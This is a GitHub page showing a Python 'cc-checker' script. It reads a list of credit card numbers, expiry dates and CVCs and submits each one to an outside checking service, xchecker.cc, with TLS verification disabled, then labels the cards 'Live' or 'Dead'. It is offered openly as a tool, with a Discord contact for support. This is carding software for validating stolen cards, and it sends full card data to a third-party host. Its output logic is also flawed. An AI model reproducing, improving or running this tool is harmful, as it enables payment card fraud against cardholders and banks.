forked from Blagdoii/LiftiumChk
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathchecker.py
72 lines (66 loc) · 3.4 KB
/
checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import os, requests, time, urllib3, sys
from datetime import datetime
from termcolor import colored
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#ccFile = sys.argv[1] #usage python3 checker.py file.txt
ccFile = input("Credit Card list with format ccNumber|expMonth|expYear|cvc: ") # making simple with input
outputFile = "cc_checked_{}.txt".format(int(datetime.timestamp(datetime.now())))
checkerAPIURL = "https://www.xchecker.cc/api.php?cc={}|{}|{}|{}"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36",
"Accept": "*/*",
}
def writeFileOutput(data, file, mode="a"):
f = open(file, mode)
f.write("{}\n".format(data))
f.close()
if "|Live|" in data:
print(colored(data, "green", attrs=["bold"]))
elif "|Dead|" in data:
print(colored(data, "red", attrs=["bold"]))
else:
print(colored(data, "white", attrs=["bold"]))
def main():
if os.path.exists(ccFile):
with open(ccFile) as f:
writeFileOutput("Running script...", outputFile)
writeFileOutput("Output file results: {}".format(outputFile), outputFile)
writeFileOutput("Any issue, contact me at:", outputFile)
writeFileOutput("DISCORD: mlodykreska#0002", outputFile)
writeFileOutput("https://github.com/Blagdoii/cc-checker", outputFile)
writeFileOutput("----------------------------------------------", outputFile)
for cc in f:
cc = cc.replace("\r", "").replace("\n", "")
try:
ccNumber = cc.split("|")[0]
expMonth = cc.split("|")[1]
expYear = cc.split("|")[2]
cvc = cc.split("|")[3]
except:
writeFileOutput("{} => Format error. Use ccNumber|expMonth|expYear|cvc".format(cc), outputFile)
continue
url = checkerAPIURL.format(ccNumber, expMonth, expYear, cvc)
while True:
response = requests.get(url, headers=headers, verify=False, allow_redirects=False)
if response.status_code == 200 and "json" in response.headers["Content-Type"]:
data = response.json()
if "ccNumber" in data:
output = data["ccNumber"]
if "cvc" in data:
output = data["cvc"]
if "expMonth" in data:
output += "|" + data["expMonth"]
output += "/" + data ["expYear"]
output += "|" + data["status"] + "|" + data["details"]
#output += "--->> " + data["bankName"] //Error while bankname is not detected
else:
output = "{} => {}".format(ccNumber, data["error"])
writeFileOutput(output, outputFile)
break
else:
writeFileOutput("HTTP service error: {}, retry...".format(response.status_code), outputFile)
time.sleep(1000)
else:
print("File {} not found in current directory".format(ccFile))
if __name__ == "__main__":
main()